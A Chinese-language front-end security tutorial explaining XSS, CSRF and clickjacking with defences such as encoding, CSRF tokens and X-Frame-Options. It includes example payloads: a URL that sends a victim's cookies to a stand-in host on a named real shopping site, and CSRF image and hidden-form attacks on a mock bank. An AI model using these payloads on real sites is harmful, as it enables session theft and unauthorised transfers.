關(guān)于Web安全的問題，是一個(gè)老生常談的問題，作為離用戶最近的一層，我們大前端確實(shí)需要把手伸的更遠(yuǎn)一點(diǎn)。
我們最常見的Web安全攻擊有以下幾種
XSS 跨站腳本攻擊
CSRF 跨站請(qǐng)求偽造
clickjacking 點(diǎn)擊劫持/UI-覆蓋攻擊
下面我們來一一分析
XSS 跨站腳本攻擊
分類跨站腳本攻擊（Cross Site ing），為了不和層疊樣式表（Cascading Style Sheets, CSS）的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意代碼，當(dāng)用戶瀏覽該頁之時(shí)，嵌入其中Web里面的代碼會(huì)被執(zhí)行，從而達(dá)到惡意攻擊用戶的目的。
Reflected XSS（基于反射的XSS攻擊）
Stored XSS（基于存儲(chǔ)的XSS攻擊）
DOM-based or local XSS（基于DOM或本地的XSS攻擊）
主要通過利用系統(tǒng)反饋行為漏洞，并欺騙用戶主動(dòng)觸發(fā)，從而發(fā)起Web攻擊。舉個(gè)栗子：
假設(shè)，在嚴(yán)選網(wǎng)站搜索商品，當(dāng)搜索不到時(shí)站點(diǎn)會(huì)做“xxx未上架提示”。如下圖。
在搜索框搜索內(nèi)容，填入“”, 點(diǎn)擊搜索。
當(dāng)前端頁面沒有對(duì)填入的數(shù)據(jù)進(jìn)行過濾，直接顯示在頁面上， 這時(shí)就會(huì)alert那個(gè)字符串出來。
（當(dāng)然上圖是模擬的）
以上3步只是“自娛自樂”，XSS最關(guān)鍵的是第四步。
進(jìn)而可以構(gòu)造獲取用戶cookies的地址，通過QQ群或者垃圾郵件，來讓其他人點(diǎn)擊這個(gè)地址：
http://you.163.com/search?keyword=<>document.location='http://xss.com/get?cookie='+document.cookie</>
如果受騙的用戶剛好已經(jīng)登錄過嚴(yán)選網(wǎng)站，那么，用戶的登錄cookie信息就已經(jīng)發(fā)到了攻擊者的服務(wù)器（xss.com）了。當(dāng)然，攻擊者會(huì)做一些更過分的操作。
Stored XSS（基于存儲(chǔ)的XSS攻擊）
Stored XSS和Reflected XSS的差別就在于，具有攻擊性的腳本被保存到了服務(wù)器并且可以被普通用戶完整的從服務(wù)的取得并執(zhí)行，從而獲得了在網(wǎng)絡(luò)上傳播的能力。
再舉個(gè)栗子：
發(fā)一篇文章，里面包含了惡意腳本
你好！當(dāng)你看到這段文字時(shí)，你的信息已經(jīng)不安全了！<>alert('xss')</>
后端沒有對(duì)文章進(jìn)行過濾，直接保存文章內(nèi)容到數(shù)據(jù)庫。
當(dāng)其他讀者看這篇文章的時(shí)候，包含的惡意腳本就會(huì)執(zhí)行。
tips：文章是保存整個(gè)HTML內(nèi)容的，前端顯示時(shí)候也不做過濾，就極可能出現(xiàn)這種情況。此為題多從在于博客網(wǎng)站。
如果我們的操作不僅僅是彈出一個(gè)信息，而且刪除一篇文章，發(fā)一篇反動(dòng)的文章，或者成為我的粉絲并且將這篇帶有惡意腳本的文章轉(zhuǎn)發(fā)，這樣是不是就具有了攻擊性。
DOM-based or local XSS（基于DOM或本地的XSS攻擊）
DOM，全稱Document Object Model，是一個(gè)平臺(tái)和語言都中立的接口，可以使程序和腳本能夠動(dòng)態(tài)訪問和更新文檔的內(nèi)容、結(jié)構(gòu)以及樣式。
DOM型XSS其實(shí)是一種特殊類型的反射型XSS，它是基于DOM文檔對(duì)象模型的一種漏洞?？梢酝ㄟ^DOM來動(dòng)態(tài)修改頁面內(nèi)容，從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。基于這個(gè)特性，就可以利用JS腳本來實(shí)現(xiàn)XSS漏洞的利用。
可能觸發(fā)DOM型XSS的屬性：
document.referer屬性window.name屬性location屬性innerHTML屬性documen.write屬性······
總結(jié)
XSS攻擊的本質(zhì)就是，利用一切手段在目標(biāo)用戶的瀏覽器中執(zhí)行攻擊腳本。
防范
對(duì)于一切用戶的輸入、輸出、客戶端的輸出內(nèi)容視為不可信，在數(shù)據(jù)添加到DOM或者執(zhí)行了DOM API的時(shí)候，我們需要對(duì)內(nèi)容進(jìn)行HtmlEncode或JavaEncode，以預(yù)防XSS攻擊。
CSRF 跨站請(qǐng)求偽造
CSRF（Cross-site request forgery）跨站請(qǐng)求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對(duì)網(wǎng)站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過偽裝來自受信任用戶的請(qǐng)求來利用受信任的網(wǎng)站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對(duì)其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險(xiǎn)性。但往往同XSS一同作案！
此下的詳解部分轉(zhuǎn)自hyddd的博文http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html，示例寫的很贊就部分謄抄至此，并做了一定的修改，向作者h(yuǎn)yddd致敬&致謝。
CSRF可以做什么？
你這可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發(fā)送惡意請(qǐng)求。CSRF能夠做的事情包括：以你名義發(fā)送郵件，發(fā)消息，盜取你的賬號(hào)，甚至于購(gòu)買商品，虛擬貨幣轉(zhuǎn)賬......造成的問題包括：個(gè)人隱私泄露以及財(cái)產(chǎn)安全。
CSRF漏洞現(xiàn)狀
CSRF這種攻擊方式在2000年已經(jīng)被國(guó)外的安全人員提出，但在國(guó)內(nèi)，直到06年才開始被關(guān)注，08年，國(guó)內(nèi)外的多個(gè)大型社區(qū)和交互網(wǎng)站分別爆出CSRF漏洞，如：NYTimes.com（紐約時(shí)報(bào)）、Metafilter（一個(gè)大型的BLOG網(wǎng)站），YouTube和百度HI......而現(xiàn)在，互聯(lián)網(wǎng)上的許多站點(diǎn)仍對(duì)此毫無防備，以至于安全業(yè)界稱CSRF為“沉睡的巨人”。
CSRF的原理
下圖簡(jiǎn)單闡述了CSRF攻擊的思想：
從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個(gè)步驟：
登錄受信任網(wǎng)站A，并在本地生成Cookie。
在不登出A的情況下，訪問危險(xiǎn)網(wǎng)站B。
看到這里，你也許會(huì)說：“如果我不滿足以上兩個(gè)條件中的一個(gè)，我就不會(huì)受到CSRF的攻擊”。是的，確實(shí)如此，但你不能保證以下情況不會(huì)發(fā)生：
你不能保證你登錄了一個(gè)網(wǎng)站后，不再打開一個(gè)tab頁面并訪問另外的網(wǎng)站。
你不能保證你關(guān)閉瀏覽器了后，你本地的Cookie立刻過期，你上次的會(huì)話已經(jīng)結(jié)束。（事實(shí)上，關(guān)閉瀏覽器不能結(jié)束一個(gè)會(huì)話，但大多數(shù)人都會(huì)錯(cuò)誤的認(rèn)為關(guān)閉瀏覽器就等于退出登錄/結(jié)束會(huì)話了......）
上圖中所謂的攻擊網(wǎng)站，可能是一個(gè)存在其他漏洞的可信任的經(jīng)常被人訪問的網(wǎng)站。
上面大概地講了一下CSRF攻擊的思想，下面我將用幾個(gè)例子詳細(xì)說說具體的CSRF攻擊，這里我以一個(gè)銀行轉(zhuǎn)賬的操作作為例子（僅僅是例子，真實(shí)的銀行網(wǎng)站沒這么傻:>）
示例1
銀行網(wǎng)站A，它以GET請(qǐng)求來完成銀行轉(zhuǎn)賬的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000危險(xiǎn)網(wǎng)站B，它里面有一段HTML的代碼如下：
<imgsrc=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先，你登錄了銀行網(wǎng)站A，然后訪問危險(xiǎn)網(wǎng)站B，噢，這時(shí)你會(huì)發(fā)現(xiàn)你的銀行賬戶少了1000塊......
為什么會(huì)這樣呢？原因是銀行網(wǎng)站A違反了HTTP規(guī)范，使用GET請(qǐng)求更新資源。在訪問危險(xiǎn)網(wǎng)站B的之前，你已經(jīng)登錄了銀行網(wǎng)站A，而B中的以GET的方式請(qǐng)求第三方資源（這里的第三方就是指銀行網(wǎng)站了，原本這是一個(gè)合法的請(qǐng)求，但這里被不法分子利用了），所以你的瀏覽器會(huì)帶上你的銀行網(wǎng)站A的Cookie發(fā)出Get請(qǐng)求，去獲取資源
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
結(jié)果銀行網(wǎng)站服務(wù)器收到請(qǐng)求后，認(rèn)為這是一個(gè)更新資源操作（轉(zhuǎn)賬操作），所以就立刻進(jìn)行轉(zhuǎn)賬操作......
示例2
為了杜絕上面的問題，銀行決定改用POST請(qǐng)求完成轉(zhuǎn)賬操作。銀行網(wǎng)站A的WEB表單如下：
<formaction="Transfer.php"method="POST">
<p>ToBankId: <inputtype="text"name="toBankId"/></p>
<p>Money: <inputtype="text"name="money"/></p>
<p><inputtype="submit"value="Transfer"/></p>
</form>
后臺(tái)處理頁面Transfer.php如下：
<?php
session_start();
if(isset($_REQUEST['toBankId']&& isset($_REQUEST['money']))
{
buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?>
危險(xiǎn)網(wǎng)站B，仍然只是包含那句HTML代碼：
<imgsrc=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例1中的操作一樣，你首先登錄了銀行網(wǎng)站A，然后訪問危險(xiǎn)網(wǎng)站B，結(jié)果.....和示例1一樣，你再次沒了1000塊～TT，這次事故的原因是：銀行后臺(tái)使用了$REQUEST去獲取請(qǐng)求的數(shù)據(jù)，而$REQUEST既可以獲取GET請(qǐng)求的數(shù)據(jù)，也可以獲取POST請(qǐng)求的數(shù)據(jù)，這就造成了在后臺(tái)處理程序無法區(qū)分這到底是GET請(qǐng)求的數(shù)據(jù)還是POST請(qǐng)求的數(shù)據(jù)。在PHP中，可以使用$GET和$_POST分別獲取GET請(qǐng)求和POST請(qǐng)求的數(shù)據(jù)。在JAVA中，用于獲取請(qǐng)求數(shù)據(jù)request一樣存在不能區(qū)分GET請(qǐng)求數(shù)據(jù)和POST數(shù)據(jù)的問題。
示例3
經(jīng)過前面2個(gè)慘痛的教訓(xùn)，銀行決定把獲取請(qǐng)求數(shù)據(jù)的方法也改了，改用$_POST，只獲取POST請(qǐng)求的數(shù)據(jù)，后臺(tái)處理頁面Transfer.php代碼如下：
<?php
session_start();
if(isset($_POST['toBankId']&& isset($_POST['money']))
{
buy_stocks($_POST['toBankId'], $_POST['money']);
}
?>
然而，危險(xiǎn)網(wǎng)站B與時(shí)俱進(jìn)，它改了一下代碼：
<html>
<head>
<type="text/java">
functionsteal()
{
iframe =document.frames["steal"];
iframe.document.Submit("transfer");
}
</>
</head>
<body="steal()">
<iframename="steal"display="none">
<formmethod="POST"name="transfer"action="http://www.myBank.com/Transfer.php">
<inputtype="hidden"name="toBankId"value="11">
<inputtype="hidden"name="money"value="1000">
</form>
</iframe>
</body>
</html>
如果用戶仍是繼續(xù)上面的操作，很不幸，結(jié)果將會(huì)是再次不見1000塊......因?yàn)檫@里危險(xiǎn)網(wǎng)站B暗地里發(fā)送了POST請(qǐng)求到銀行! 總結(jié)一下上面3個(gè)例子，CSRF主要的攻擊模式基本上是以上的3種，其中以第1,2種最為嚴(yán)重，因?yàn)橛|發(fā)條件很簡(jiǎn)單，一個(gè)就可以了，而第3種比較麻煩，需要使用Java，所以使用的機(jī)會(huì)會(huì)比前面的少很多，但無論是哪種情況，只要觸發(fā)了CSRF攻擊，后果都有可能很嚴(yán)重?！ ±斫馍厦娴?種攻擊模式，其實(shí)可以看出，CSRF攻擊是源于WEB的隱式身份驗(yàn)證機(jī)制！WEB的身份驗(yàn)證機(jī)制雖然可以保證一個(gè)請(qǐng)求是來自于某個(gè)用戶的瀏覽器，但卻無法保證該請(qǐng)求是用戶批準(zhǔn)發(fā)送的！
當(dāng)前防御 CSRF 的幾種策略
在業(yè)界目前防御 CSRF 攻擊主要有三種策略：驗(yàn)證 HTTP Referer 字段；在請(qǐng)求地址中添加 token 并驗(yàn)證；在 HTTP 頭中自定義屬性并驗(yàn)證。下面就分別對(duì)這三種策略進(jìn)行詳細(xì)介紹。
驗(yàn)證 HTTP Referer 字段
利用HTTP頭中的Referer判斷請(qǐng)求來源是否合法。
優(yōu)點(diǎn)：簡(jiǎn)單易行，只需要在最后給所有安全敏感的請(qǐng)求統(tǒng)一增加一個(gè)攔截器來檢查 Referer 的值就可以。特別是對(duì)于當(dāng)前現(xiàn)有的系統(tǒng)，不需要改變當(dāng)前系統(tǒng)的任何已有代碼和邏輯，沒有風(fēng)險(xiǎn)，非常便捷。
缺點(diǎn)：1、Referer 的值是由瀏覽器提供的，不可全信，低版本瀏覽器下Referer存在偽造風(fēng)險(xiǎn)。2、用戶自己可以設(shè)置瀏覽器使其在發(fā)送請(qǐng)求時(shí)不再提供 Referer時(shí)，網(wǎng)站將拒絕合法用戶的訪問。
在請(qǐng)求地址中添加 token 并驗(yàn)證
在請(qǐng)求中放入黑客所不能偽造的信息，并且該信息不存在于 cookie 之中，以HTTP請(qǐng)求參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的 token交由服務(wù)端驗(yàn)證
優(yōu)點(diǎn)：比檢查 Referer 要安全一些，并且不涉及用戶隱私。缺點(diǎn)：對(duì)所有請(qǐng)求都添加token比較困難，難以保證 token 本身的安全，依然會(huì)被利用獲取到token
在 HTTP 頭中自定義屬性并驗(yàn)證+One-Time Tokens
將token放到 HTTP 頭中自定義的屬性里。通過 的異步請(qǐng)求交由后端校驗(yàn)，并且一次有效。
優(yōu)點(diǎn)：統(tǒng)一管理token輸入輸出，可以保證token的安全性缺點(diǎn)：有局限性，無法在非異步的請(qǐng)求上實(shí)施
點(diǎn)擊劫持
點(diǎn)擊劫持，英文名clickjacking，也叫UI覆蓋攻擊，攻擊者會(huì)利用一個(gè)或多個(gè)透明或不透明的層來誘騙用戶支持點(diǎn)擊按鈕的操作，而實(shí)際的點(diǎn)擊確實(shí)用戶看不到的一個(gè)按鈕，從而達(dá)到在用戶不知情的情況下實(shí)施攻擊。
這種攻擊方式的關(guān)鍵在于可以實(shí)現(xiàn)頁中頁的 <iframe/>標(biāo)簽，并且可以使用css樣式表將他不可見
如以上示意圖的藍(lán)色層，攻擊者會(huì)通過一定的手段誘惑用戶“在紅色層”輸入信息，但用戶實(shí)際上實(shí)在藍(lán)色層中，以此做欺騙行為。
拿支付寶做個(gè)栗子
上圖是支付寶手機(jī)話費(fèi)充值的界面。
再看看一下界面
是的，這個(gè)是我偽造的，如果我將真正的充值站點(diǎn)隱藏在此界面上方。我想，聰明的你已經(jīng)知道clickjacking的危險(xiǎn)性了。
上圖我估計(jì)做了一下錯(cuò)位和降低透明度，是不是很有意思呢？傻傻分不清的用戶還以為是領(lǐng)取了獎(jiǎng)品，其實(shí)是給陌生人充值了話費(fèi)。
這種方法最常見的攻擊場(chǎng)景是偽造一些網(wǎng)站盜取帳號(hào)信息，如支付寶、QQ、網(wǎng)易帳號(hào)等帳號(hào)的賬密
目前，clickjacking還算比較冷門，很多安全意識(shí)不強(qiáng)的網(wǎng)站還未著手做clickjacking的防范。這是很危險(xiǎn)的。
防范
防止點(diǎn)擊劫持有兩種主要方法：
X-FRAME-OPTIONS
X-FRAME-OPTIONS是微軟提出的一個(gè)http頭，指示瀏覽器不允許從其他域進(jìn)行取景，專門用來防御利用iframe嵌套的點(diǎn)擊劫持攻擊。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。 這個(gè)頭有三個(gè)值： DENY // 拒絕任何域加載 SAMEORIGIN // 允許同源域下加載 ALLOW-FROM // 可以定義允許frame加載的頁面地址
頂層判斷
在UI中采用防御性代碼，以確保當(dāng)前幀是最頂層的窗口方法有多中，如
top !=self||top.location !=self.location ||top.location !=location
有關(guān)Clickjacking防御的更多信息，請(qǐng)參閱Clickjacking Defense Cheat Sheet.
參考
[1] 淺談CSRF攻擊方式 - http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html[2] CSRF 攻擊的應(yīng)對(duì)之道 - https://www.ibm.com/developerworks/cn/web/1102niugangcsrf/
淺談 CSRF 攻擊方式
前端常見跨域解決方案（全）
簡(jiǎn)單幾步讓服務(wù)器更安全
